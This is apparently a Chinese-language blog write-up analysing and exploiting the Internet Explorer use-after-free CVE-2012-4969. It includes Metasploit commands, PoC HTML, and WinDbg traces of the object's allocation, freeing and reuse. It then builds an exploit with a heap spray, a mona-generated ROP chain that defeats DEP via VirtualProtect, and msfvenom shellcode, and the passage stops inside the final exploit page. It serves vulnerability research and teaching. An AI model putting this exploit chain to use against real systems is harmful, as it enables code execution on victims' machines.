IE UAF 漏洞(CVE-2012-4969)漏洞分析与利用

简介

首先这是一个IE的UAF的漏洞,由于IE 6至9版本中的mshtml.dll中的CMshtmlEd::Exec函数中存在释放后使用漏洞,可导致任意代码执行。

本文包含了分析与利用,包含了对象的申请,对象在何时释放,什么时候被占位等,在漏洞利用方面,metasploit生成的exp的heap Spray有点难看,就自己根据自己的经验写了exp

实验环境

Windows 7 Sp1 32位
IE 8
windbg
IDA
mona

漏洞分析

获得exp(poc)

搜了一下metasploit那里有,于是就直接生成exp咯

msf > search CVE-2012-4969

Matching Modules
================

   Name                                        Disclosure Date  Rank  Description
   ----                                        ---------------  ----  -----------
   exploit/windows/browser/ie_execcommand_uaf  2012-09-14       good  MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability 


msf > use exploit/windows/browser/ie_execcommand_uaf 

msf exploit(ie_execcommand_uaf) > set target 5
target => 5

msf exploit(ie_execcommand_uaf) > set payload windows/messagebox
payload => windows/messagebox

msf exploit(ie_execcommand_uaf) > set TEXT "giantbranch"
TEXT => giantbranch
msf exploit(ie_execcommand_uaf) > set TITLE "giantbranch"
TITLE => giantbranch
msf exploit(ie_execcommand_uaf) > show options 

Module options (exploit/windows/browser/ie_execcommand_uaf):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   OBFUSCATE  false            no        Enable JavaScript obfuscation
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (windows/messagebox):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
   ICON      NO               yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
   TEXT      giantbranch      yes       Messagebox Text (max 255 chars)
   TITLE     giantbranch      yes       Messagebox Title (max 255 chars)


Exploit target:

   Id  Name
   --  ----
   5   IE 8 on Windows 7

msf exploit(ie_execcommand_uaf) > exploit 
[*] Exploit running as background job.

msf exploit(ie_execcommand_uaf) > [*] Using URL: http://0.0.0.0:8080/JO1jAksZMVhFYD2
[*] Local IP: http://192.168.253.164:8080/JO1jAksZMVhFYD2
[*] Server started.

接下来客户端访问看看,利用成功

这里写图片描述

由于是metasploit那边启动的服务器,exp调试起来不是太方便,而且kali占内存,我们用其他浏览器查看源码将exp下载下来,将heap spray的代码删除掉,就成了poc啦(下面给出poc)

文件1:exp.html

<html>
  <body>
    <script>
      var arrr = new Array();
      arrr[0] = window.document.createElement("img");
      arrr[0]["src"] = "f";
    </script>

    <iframe src="./exp1.html"></iframe>

  </body>
</html>

文件2:exp1.html

<HTML>
  <script>
    function funcB() {
      document.execCommand("selectAll");
    };

    function funcA() {
      document.write("B");
      parent.arrr[0].src = "YMjfu0c08u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
    }

  </script>
  <body onload='funcB();' onselect='funcA()'>
    <div contenteditable='true'>
      a
    </div>
  </body>
</HTML>

根据崩溃信息简单分析

好,上windbg

0:013> g
ModLoad: 71640000 716f2000   C:WindowsSystem32jscript.dll
(34c.ca4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=00158f68 edx=0000000d esi=00000000 edi=0c0c0c08
eip=65a7c4bd esp=026bbd60 ebp=026bbd6c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMshtmlEd::Exec+0x134:
65a7c4bd 8b07            mov     eax,dword ptr [edi]  ds:0023:0c0c0c08=????????

可以看到edi的值就在我们的poc中exp1.html页面的funA的

parent.arrr[0].src = "YMjfu0c08u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";

看看堆栈信息
我们看到mshtml!CEditRouter::ExecEditCommand
应该就是执行编辑命令出的问题

0:005> kv
ChildEBP RetAddr  Args to Child              
026bbd6c 65a7c63b 03e12198 65a02b44 0000001f mshtml!CMshtmlEd::Exec+0x134
026bbd9c 659f4249 65a02b44 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xd6
026bc158 65b5b040 0010df28 65a02b44 0000001f mshtml!CDoc::ExecHelper+0x3cd7
026bc178 65b9aad6 0010df28 65a02b44 0000001f mshtml!CDocument::Exec+0x24
026bc1a0 65b5cd0a 01afad20 0000001f 026b000a mshtml!CBase::execCommand+0x53
026bc1d8 65b93f8f 00000001 01afad20 00000000 mshtml!CDocument::execCommand+0x94
026bc250 65a5235c 0010df28 01afa9c0 0010d090 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
026bc2c4 65a525d5 0010df28 00000429 00000001 
......

我们先通过ida看看edi的来源,定位到那个CMshtmlEd::Exec函数,由于win7有ASLR,根据地址后四个字节即可定位到代码

首先是来源于[edi+8]

.text:74E7C4BA                 mov     edi, [edi+8]
.text:74E7C4BD                 mov     eax, [edi]
.text:74E7C4BF                 push    edi
.text:74E7C4C0                 call    dword ptr [eax+8]

我们向上看,原来是CMshtmlEd对象的this指针
.text:74E7C433 mov edi, [ebp+this]

那么这里获取this指针后,获取偏移+8的位置,应该这个偏移+8的位置也是一个对象,跟着取这个对象的虚表到eax,跟着call [eax+8]调用第3个虚函数,假如对象释放后我们成功占位,那么就可以劫持控制流了(这时分析前的一个猜测,不一定全对)。

开始javascript和windbg联合调试

根据上面的简单分析,应该就是CMshtmlEd对象释放后重用导致的异常

首先我们开启页堆和用户态栈回溯(有利于获取堆更多的信息)
gflags.exe /i iexplore.exe +ust +hpa

那我们在CMshtmlEd对象的构造函数和析构函数上下断点,看看对象申请的地址和释放的地址,释放后的值跟这个edi是不是一样的就知道了,配合javascript的调试就知道什么javascript语句导致的对象申请和释放了(当然经验丰富的就知道document.write(“B”);会使对象释放,对parent.arrr[0].src的复制可能会导致占位)

我们可以通过x命令查看CMshtmlEd对象的函数(或者ida直接在函数列表搜索CMshtmlEd::

0:005> x mshtml!CmshtmlEd::*
65a7b484 mshtml!CMshtmlEd::Release = <no type information>
65a7bb7d mshtml!CMshtmlEd::QueryInterface = <no type information>
659b59fa mshtml!CMshtmlEd::Initialize = <no type information>
659d92e1 mshtml!CMshtmlEd::AddRef = <no type information>
659d928c mshtml!CMshtmlEd::`vftable' = <no type information>
65a7c35e mshtml!CMshtmlEd::IsDialogCommand = <no type information>
659cd3ea mshtml!CMshtmlEd::QueryStatus = <no type information>
65843fac mshtml!CMshtmlEd::GetSegmentList = <no type information>
65a7c42b mshtml!CMshtmlEd::Exec = <no type information>
659b5d4d mshtml!CMshtmlEd::CMshtmlEd = <no type information>
65a8396f mshtml!CMshtmlEd::~CMshtmlEd = <no type information>

我们这里有构造函数和析构函数,但是没有堆申请和堆释放的操作
原来是在下面这两个函数中
CMshtmlEd::Initialize
CMshtmlEd::Release

当然js也要下好断点哦

那我们在下面两个函数下断点,由于允许运行控件导致页面重绘,所以一开始会调用Release函数

0:015> bp mshtml!CMshtmlEd::Initialize
0:015> bp mshtml!CMshtmlEd::Release
0:015> g
Breakpoint 1 hit
eax=0b034f78 ebx=00000000 ecx=659d928c edx=00161078 esi=06e96f8c edi=0b038ff0
eip=65a7b484 esp=0446f930 ebp=0446f958 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Release:
65a7b484 8bff            mov     edi,edi
0:005> g

跟着断在js这一行var arrr = new Array();

这里写图片描述

继续js单步就到达了

function funcB() {
    document.execCommand("selectAll");
};

继续,发现执行完document.execCommand("selectAll");,windbg就断下来了,断在mshtml!CMshtmlEd::Initialize

单步到HeapAlloc的下一句,就看到申请返回地址是09f8afc0
大小是0x40,!heap -p -a查一下是mshtml!CSelectionServices对象,有种不好的预感

0:005> p
eax=00000000 ebx=04c6ff20 ecx=07c9ef30 edx=00000000 esi=0b668f78 edi=0b668f88
eip=659b5a20 esp=0446bb88 ebp=0446bba8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Initialize+0x26:
659b5a20 ff15c4128265    call    dword ptr [mshtml!_imp__HeapAlloc (658212c4)] ds:0023:658212c4={ntdll!RtlAllocateHeap (76f2209d)}
0:005> p
eax=09f8afc0 ebx=04c6ff20 ecx=76f2349f edx=00000000 esi=0b668f78 edi=0b668f88
eip=659b5a26 esp=0446bb94 ebp=0446bba8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Initialize+0x2c:
659b5a26 85c0            test    eax,eax

继续,g命令,又申请了一个起始地址为07c2dfc0的堆

继续g,这次进入了Release函数

65a7b484 8bff            mov     edi,edi
65a7b486 55              push    ebp
65a7b487 8bec            mov     ebp,esp
65a7b489 56              push    esi
65a7b48a 8b7508          mov     esi,dword ptr [ebp+8]
65a7b48d ff4e04          dec     dword ptr [esi+4]
65a7b490 8b4604          mov     eax,dword ptr [esi+4]
65a7b493 0f84b6840000    je      mshtml!CMshtmlEd::Release+0x11 (65a8394f)
65a7b499 5e              pop     esi
65a7b49a 5d              pop     ebp
65a7b49b c20400          ret     4

但是由于[esi+4]的值为3,减1后是2,不为0,所以没有执行HeapFree流程

继续g,回到js了,到了funcA

function funcA() {
    document.write("B");
    parent.arrr[0].src = "YMjfu0c08u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}

继续,document.write("B");触发了mshtml!CMshtmlEd::Release(因为整个document重绘了,写了个B)

上一次[esi+4]是2,这次-1,还不是0,不会跳去执行HeapFree
再次go,再一次进入mshtml!CMshtmlEd::Release,

这次释放的地址是0b408f78,是mshtml!CMshtmlEd对象
那我们之前下的断点没看到这个地址的申请啊,说明下的断点是不对的

0:005> t
eax=00000000 ebx=04c6ff8c ecx=00000000 edx=04c6ff8c esi=0b408f78 edi=00000001
eip=65a8395d esp=0446800c ebp=0446801c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Release+0x1f:
65a8395d ff15c0128265    call    dword ptr [mshtml!_imp__HeapFree (658212c0)] ds:0023:658212c0={kernel32!HeapFree (766ff198)}
0:005> dd esp
0446800c  00160000 00000000 0b408f78 0b408f78
0446801c  04468034 65c7db12 0b408f78 04c6ff20
0446802c  00000000 04c6ffac 04468060 65c79f59
0446803c  0b408f78 044bcfd8 00000000 0000000f
0446804c  04c6ff20 0b408f78 044bcfd8 0b686fd8
0446805c  0b01efd8 04468068 65b0246a 04468084
0446806c  65a7a6c5 04c6ff20 0000000f 052b4f30
0446807c  00000000 06dc0680 044680a0 65a3285e

之后就发生另一个异常了,看堆栈应该是启用了js调试的原因

0:005> g
(590.874): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000018f ebx=00000000 ecx=0a3c8fd0 edx=65b8430c esi=00000000 edi=0000018f
eip=65bc12a0 esp=087bf808 ebp=087bf810 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CHtmInfo::ReadUnicodeSource+0x10:
65bc12a0 8b86ec000000    mov     eax,dword ptr [esi+0ECh] ds:0023:000000ec=????????
0:013> kv
ChildEBP RetAddr  Args to Child              
087bf810 65bc0fc0 08e1efd8 00000000 087bf880 mshtml!CHtmInfo::ReadUnicodeSource+0x10
087bf828 65b8485f 08e1efd8 00000000 0000018f mshtml!CHtmCtx::ReadUnicodeSource+0x1a
087bf848 7131a260 0a3c8fd0 00000000 08e1efd8 mshtml!CScriptDebugDocument::CHost::GetDeferredText+0x2e
087bf894 7131a2eb 08e1ef48 087bf8e4 72c5ca66 pdm!CDebugDocumentHelper::EnsureParsed+0xd9
087bf8a0 72c5ca66 08e1ef48 087bf8d4 087bf8e0 pdm!CDebugDocumentHelper::GetSize+0x11
087bf8e4 714df731 0a347fb8 087bf920 087bf918 jsdebuggeride!CJSDbgSource::GetTextAndAttr+0x69 (FPO: [Non-Fpo])
......

我们看回CMshtmlEd的构造函数,发现第一句就将虚表给了a2指向的地址,那么就是说a2就是CMshtmlEd对象指针,那我们对构造函数进行解引用(按x),发现在CHTMLEditor::AddCommandTargethe CHTMLEditor::GetCommandTarget会申请内存,跟着调用CMshtmlEd的构造函数

int __fastcall CMshtmlEd::CMshtmlEd(int a1, int a2, int a3, int a4)
{
  int v4; // edx@1

  *(_DWORD *)a2 = &CMshtmlEd::`vftable';
  CSpringLoader::CSpringLoader((CSpringLoader *)(a2 + 24), (struct CMshtmlEd *)a2);
  *(_DWORD *)(v4 + 8) = a3;
  *(_DWORD *)(v4 + 4) = 1;
  *(_DWORD *)(v4 + 132) ^= (*(_DWORD *)(v4 + 132) ^ 2 * (a4 != 0)) & 2;
  return v4;
}

我们在下面的函数下断点,对了这次也在Exec函数下断点吧,

bp mshtml!CHTMLEditor::AddCommandTarget
bp mshtml!CHTMLEditor::GetCommandTarget
bp mshtml!CMshtmlEd::Release
bp mshtml!CMshtmlEd::Exec

执行document.execCommand("selectAll");触发了mshtml!CHTMLEditor::AddCommandTarget,而这次HeapAlloc返回的地址是0d0f2f78

0:004> p
eax=07ef4fac ebx=07ef4f20 ecx=00000000 edx=0000096a esi=07ef4f20 edi=07ef4fac
eip=659b59b7 esp=044fb9d8 ebp=044fb9f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CHTMLEditor::AddCommandTarget+0x1a:
659b59b7 ff15c4128265    call    dword ptr [mshtml!_imp__HeapAlloc (658212c4)] ds:0023:658212c4={ntdll!RtlAllocateHeap (76f2209d)}
0:004> p
eax=0d0f2f78 ebx=07ef4f20 ecx=76f2349f edx=00000000 esi=07ef4f20 edi=07ef4fac
eip=659b59bd esp=044fb9e4 ebp=044fb9f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CHTMLEditor::AddCommandTarget+0x20:
659b59bd 33f6            xor     esi,esi

而且确实是个CMshtmlEd对象

0:004> !heap -p -a 0d0f2f78 
    address 0d0f2f78 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 d041a5c:          d0f2f78               88 -          d0f2000             2000
          mshtml!CMshtmlEd::`vftable'
          ......

继续,这时候到了mshtml!CHTMLEditor::GetCommandTarget,但是没有进入if语句申请内存,调用CMshtmlEd构造函数的流程,而是到了else,那么就再次到了AddCommandTarget函数,其实是在这个函数申请而已,申请返回的地址是0cf54f78,也是CMshtmlEd对象

之后到了Release函数,但是没释放,之后到了mshtml!CMshtmlEd::Exec函数,跟着单步到下面,触发了funcA

65a7c4b3 e820000000      call    mshtml!CCommand::Exec (65a7c4d8)

跟着执行完document.write("B");,就跳到Release函数了,但第一次没有释放,第二次进入Release才释放

下面可以看到释放的0cf54f78,这个地址就是GetCommandTarget->AddCommandTarget->HeapAlloc为CMshtmlEd对象申请的地址,就是上面我们第二次捕获的值

0:004> p
eax=00000000 ebx=07ef4f8c ecx=00000000 edx=07ef4f8c esi=0cf54f78 edi=00000001
eip=65a8395d esp=044f7e54 ebp=044f7e64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Release+0x1f:
65a8395d ff15c0128265    call    dword ptr [mshtml!_imp__HeapFree (658212c0)] ds:0023:658212c0={kernel32!HeapFree (766ff198)}
0:004> dd esp
044f7e54  00050000 00000000 0cf54f78 0cf54f78
044f7e64  044f7e7c 65c7db12 0cf54f78 07ef4f20
044f7e74  00000000 07ef4fac 044f7ea8 65c79f59
044f7e84  0cf54f78 0d158fd8 00000000 0000000f
044f7e94  07ef4f20 0cf54f78 0d158fd8 0d110fd8
044f7ea4  0b93efd8 044f7eb0 65b0246a 044f7ecc
044f7eb4  65a7a6c5 07ef4f20 0000000f 0b818f30
044f7ec4  00000000 06e61680 044f7ee8 65a3285e

那我们再g,由于js报错,我们知道原理就关闭js调试,重新调试,最终处理完就返回到65a7c4b8这里,65a7c4ba这里就触发异常了

65a7c4b3 e820000000      call    mshtml!CCommand::Exec (65a7c4d8)
65a7c4b8 8bf0            mov     esi,eax
65a7c4ba 8b7f08          mov     edi,dword ptr [edi+8]
65a7c4bd 8b07            mov     eax,dword ptr [edi]
65a7c4bf 57              push    edi
65a7c4c0 ff5008          call    dword ptr [eax+8]

由于是重新调试,下面edi地址可能不一样,我们可以看到,我们开了页堆,崩溃的地址变成了前一条指令 ,应该是开了页堆,导致不能占位成功

0:005> p
(e68.cf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=0816ef30 edx=0000000d esi=00000000 edi=07f0ff78
eip=65a7c4ba esp=043cbaf8 ebp=043cbb04 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMshtmlEd::Exec+0x131:
65a7c4ba 8b7f08          mov     edi,dword ptr [edi+8] ds:0023:07f0ff80=????????

漏洞利用

怎么占的位呢

我们关闭页堆,

我们看到edi是被成功占位了的,为什么对parent.arrr[0].src的赋值这里一长串的字符就可以占位呢?

0:005> p
eax=00000000 ebx=0000001f ecx=03f22998 edx=0000000d esi=00000000 edi=00239228
eip=6dffc4ba esp=0258bbe8 ebp=0258bbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x131:
6dffc4ba 8b7f08          mov     edi,dword ptr [edi+8] ds:0023:00239230=0c0c0c08
0:005> dc edi
00239228  004d0059 0066006a 0c0c0c08 0044004b  Y.M.j.f.....K.D.
00239238  0067006f 0073006a 00490069 006a0065  o.g.j.s.i.I.e.j.
00239248  006e0065 004e0067 006b0045 0050006f  e.n.g.N.E.k.o.P.
00239258  006a0044 00690066 0044004a 00570049  D.j.f.i.J.D.I.W.
00239268  00410055 0064007a 00670066 006a0068  U.A.z.d.f.g.h.j.
00239278  00410041 00550075 00470046 00420047  A.A.u.U.F.G.G.B.
00239288  00490053 00500050 00550050 00460044  S.I.P.P.P.U.D.F.
00239298  004b004a 004f0053 004a0051 00480047  J.K.S.O.Q.J.G.H.

我们在Exec函数下断点,单步到下面,this指针赋值给edi,我们看到edi确实是CMshtmlEd对象

0:005> p
eax=00434720 ebx=6df82b44 ecx=6df5928c edx=00000000 esi=004246d8 edi=00000000
eip=6dffc433 esp=023cb8c8 ebp=023cb8d4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x8:
6dffc433 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:023cb8dc=00434720
0:005> p
eax=00434720 ebx=6df82b44 ecx=6df5928c edx=00000000 esi=004246d8 edi=00434720
eip=6dffc436 esp=023cb8c8 ebp=023cb8d4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0xb:
6dffc436 8b4708          mov     eax,dword ptr [edi+8] ds:0023:00434728=00453100
0:005> !heap -p -a edi
    address 00434720 found in
    _HEAP @ 380000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00434718 0013 0000  [00]   00434720    00088 - (busy)
          mshtml!CMshtmlEd::`vftable'

我们执行到这条语句call mshtml!CCommand::Exec (6dffc4d8)下一行,CMshtmlEd对象已经释放,而且我们字符串已经占位,跟我们设定的值一样的,注意这里是unicode

0:005> dc edi
00434720  004d0059 0066006a 0c0c0c08 0044004b  Y.M.j.f.....K.D.
00434730  0067006f 0073006a 00490069 006a0065  o.g.j.s.i.I.e.j.
00434740  006e0065 004e0067 006b0045 0050006f  e.n.g.N.E.k.o.P.
00434750  006a0044 00690066 0044004a 00570049  D.j.f.i.J.D.I.W.
00434760  00410055 0064007a 00670066 006a0068  U.A.z.d.f.g.h.j.
00434770  00410041 00550075 00470046 00420047  A.A.u.U.F.G.G.B.
00434780  00490053 00500050 00550050 00460044  S.I.P.P.P.U.D.F.
00434790  004b004a 004f0053 004a0051 00480047  J.K.S.O.Q.J.G.H.

我们来看看edi是一个怎么样的堆
虽然大小不是跟CMshtmlEd的0x88大小一样,但是这里是0x82,跟0x88比较接近,应该选刚释放出来的0x88比较合适吧

0:005> !heap -p -a edi
    address 00434720 found in
    _HEAP @ 380000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00434718 0013 0000  [00]   00434720    00082 - (busy)

我们看看我们的字符串是不是0x82长度,直接在web控制台敲即可

>"YMjfu0c08u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH".length
<64

因为是unicode,要转化一下,还要加字符串结束符,unicode,占两个位置

>>> hex(64*2+ 2)
'0x82'

那我们在这个字符后面再加3个字符变成0x88大小试试,也是完美占位,

0:005> p
eax=00439648 ebx=0000001f ecx=00439648 edx=0000001f esi=00439648 edi=0048c200
eip=6dffc4b3 esp=0270b810 ebp=0270b82c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x123:
6dffc4b3 e820000000      call    mshtml!CCommand::Exec (6dffc4d8)
0:005> p
eax=00000000 ebx=0000001f ecx=0046e480 edx=0000000d esi=00439648 edi=0048c200
eip=6dffc4b8 esp=0270b820 ebp=0270b82c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x128:
6dffc4b8 8bf0            mov     esi,eax
0:005> !heap -p -a edi
    address 0048c200 found in
    _HEAP @ 390000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0048c1f8 0012 0000  [00]   0048c200    00088 - (busy)


0:005> dc edi
0048c200  004d0059 0066006a 0c0c0c08 0044004b  Y.M.j.f.....K.D.
0048c210  0067006f 0073006a 00490069 006a0065  o.g.j.s.i.I.e.j.
0048c220  006e0065 004e0067 006b0045 0050006f  e.n.g.N.E.k.o.P.
0048c230  006a0044 00690066 0044004a 00570049  D.j.f.i.J.D.I.W.
0048c240  00410055 0064007a 00670066 006a0068  U.A.z.d.f.g.h.j.
0048c250  00410041 00550075 00470046 00420047  A.A.u.U.F.G.G.B.
0048c260  00490053 00500050 00550050 00460044  S.I.P.P.P.U.D.F.
0048c270  004b004a 004f0053 004a0051 00480047  J.K.S.O.Q.J.G.H

Heap Spray

由于msf生成的利用代码太长了,看开头是使用了JavaScript Heap Exploitation library,代码不太好理解,于是自己就尝试写自己的利用代码

那接下来只要heap spray就好咯

IE8的Heap Spray一般如下:

nops=unescape('%u0c0c%u0c0c');
while(nops.length < 0x100000/2){
    nops += nops
}
// 减去堆头,长度以及最后的两个空字符
nops = nops.substring(0, 0x100000/2 - 32/2 - 4/2 - 2/2 - shellcode.length);
var tmp = nops + shellcode;
slide=new Array();
for( i=0; i<200; i++) {
    slide[i]= tmp.substring(0, tmp.length);
}

我们调试看看

0:005> p
eax=0c0c0c0c ebx=0000001f ecx=004576b0 edx=0000000d esi=00000000 edi=0c0c0c08
eip=6dffc4c0 esp=0226bc24 ebp=0226bc34 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x137:
6dffc4c0 ff5008          call    dword ptr [eax+8]    ds:0023:0c0c0c14=0c0c0c0c

经过heap Spray,我们只要精确控制0c0c0c14的值即可,由于开了DEP,在这里进行栈翻转,再进行rop,关闭DEP再执行shellcode即可
那么我们接下来要精确控制0c0c0c0c附近的数据的排布

我们看看0c0c0c0c所在堆的基址是什么

0:005> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 390000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c0c0018 20016 0000  [00]   0c0c0020    1000b0 - (busy VirtualAlloc)

因为堆块的对齐粒度是0x1000,而且unicode是两字节编码的,还要减2个空字符,所以最终我们的ROP的首地址放在0x5f4偏移处就行了,估计这个得按实际修改

>>> hex((0x0c0c0c0c-0x0c0c0020)%0x1000/2 - 2)
'0x5f4'

我们看看,我用我的英文名定位到0x0c0c0c0c定位成功

0:005> dc 0c0c0c08
0c0c0c08  41414141 6e616967 61726274 9068636e  AAAAgiantbranch.
0c0c0c18  90909090 90909090 90909090 90909090  ................
0c0c0c28  90909090 90909090 90909090 90909090  ................
0c0c0c38  90909090 90909090 90909090 90909090  ................
0c0c0c48  90909090 90909090 90909090 90909090  ................
0c0c0c58  90909090 90909090 90909090 90909090  ................
0c0c0c68  90909090 90909090 90909090 90909090  ................
0c0c0c78  90909090 90909090 90909090 90909090  ................

那我们将0c0c0c08的地址写入0c0c0c0c,接下来call dword ptr [eax+8]就会call 0c0c0c14了

0c0c0c14地址为stack pivot —–> xchg eax,esp ; retn
而stack pivot的机器码是 94 c3
(还有我的系统装了jdk1.6,有个没有开启ASLR的模块MSVCR71.dll)

!py mona find -s "x94xc3" -m MSVCR71

用第二个0x7c348b05吧

0x7c3837d5 |   0x7c3837d5 : x94xc3 |  {PAGE_READONLY} [MSVCR71.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.3052.4 (C:Program FilesJavajre6inMSVCR71.dll)
0x7c348b05 |   0x7c348b05 : x94xc3 |  {PAGE_EXECUTE_READ} [MSVCR71.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.3052.4 (C:Program FilesJavajre6inMSVCR71.dll)

跟着用找到关闭DEP的rop,注意倒数第3个的地址要+0x11,调试过的就很清楚了(其实这段rop的功能是:开启从esp为起始,大小为0x201那段内存的执行权限)

//rop chain generated with mona.py - www.corelan.be
  rop_gadgets = unescape(
    "%u6cc8%u7c36" + // 0x7c366cc8 : ,# POP EBP # RETN [MSVCR71.dll] 
    "%u6cc8%u7c36" + // 0x7c366cc8 : ,# skip 4 bytes [MSVCR71.dll]
    "%u2b26%u7c37" + // 0x7c372b26 : ,# POP EBX # RETN [MSVCR71.dll] 
    "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
    "%u5249%u7c34" + // 0x7c345249 : ,# POP EDX # RETN [MSVCR71.dll] 
    "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
    "%uf742%u7c34" + // 0x7c34f742 : ,# POP ECX # RETN [MSVCR71.dll] 
    "%uf59b%u7c38" + // 0x7c38f59b : ,# &Writable location [MSVCR71.dll]
    "%u2766%u7c34" + // 0x7c342766 : ,# POP EDI # RETN [MSVCR71.dll] 
    "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
    "%u600b%u7c36" + // 0x7c36600b : ,# POP ESI # RETN [MSVCR71.dll] 
    "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
    "%u678f%u7c37" + // 0x7c37678f : ,# POP EAX # RETN [MSVCR71.dll] 
    "%ua151%u7c37" + // 0x7c37a151 : ,# ptr to &VirtualProtect() +0x11 [IAT MSVCR71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] 
    "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
    "");

生成Shellcode

msfvenom -a x86 -e -e x86/shikata_ga_nai --platform windows -p windows/messagebox TEXT="giantbranch" TITLE="giantbranch" -f js_le

最终堆中的0x1000的大小构造如下:
Padding + "u0c0cu0c0c" + ret + pop_ret + stack_pivot + rop_gadgets + Shellcode + NopSlide

最终exp:

<html>
  <body>
    <script>
      var arrr = new Array();
      arrr[0] = window.document.createElement("img");
      arrr[0]["src"] = "f";

    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        // 6 = 4 + 2 
        return mystr.substr(0, (bytes-6)/2);
    }

    block_size = 0x1000;
    padding_size = 0x5F2; //offset to 0x0c0c0c0c inside our 0x1000 hex block
    call0c = unescape('%u0c0c%u0c0c');

    Padding = '';
    NopSlide = '';
    NopSlide1 = '';
    NopSlide2 = ''

    //padding
    for (p = 0; p < padding_size; p++){ 
        Padding += unescape('%u4141');
    }

    for (c = 0; c < block_size; c++){ 
        NopSlide += unescape('%u9090');
    }

    // giantbranch
    //var Shellcode = "u6967u6e61u6274u6172u636eu9068";
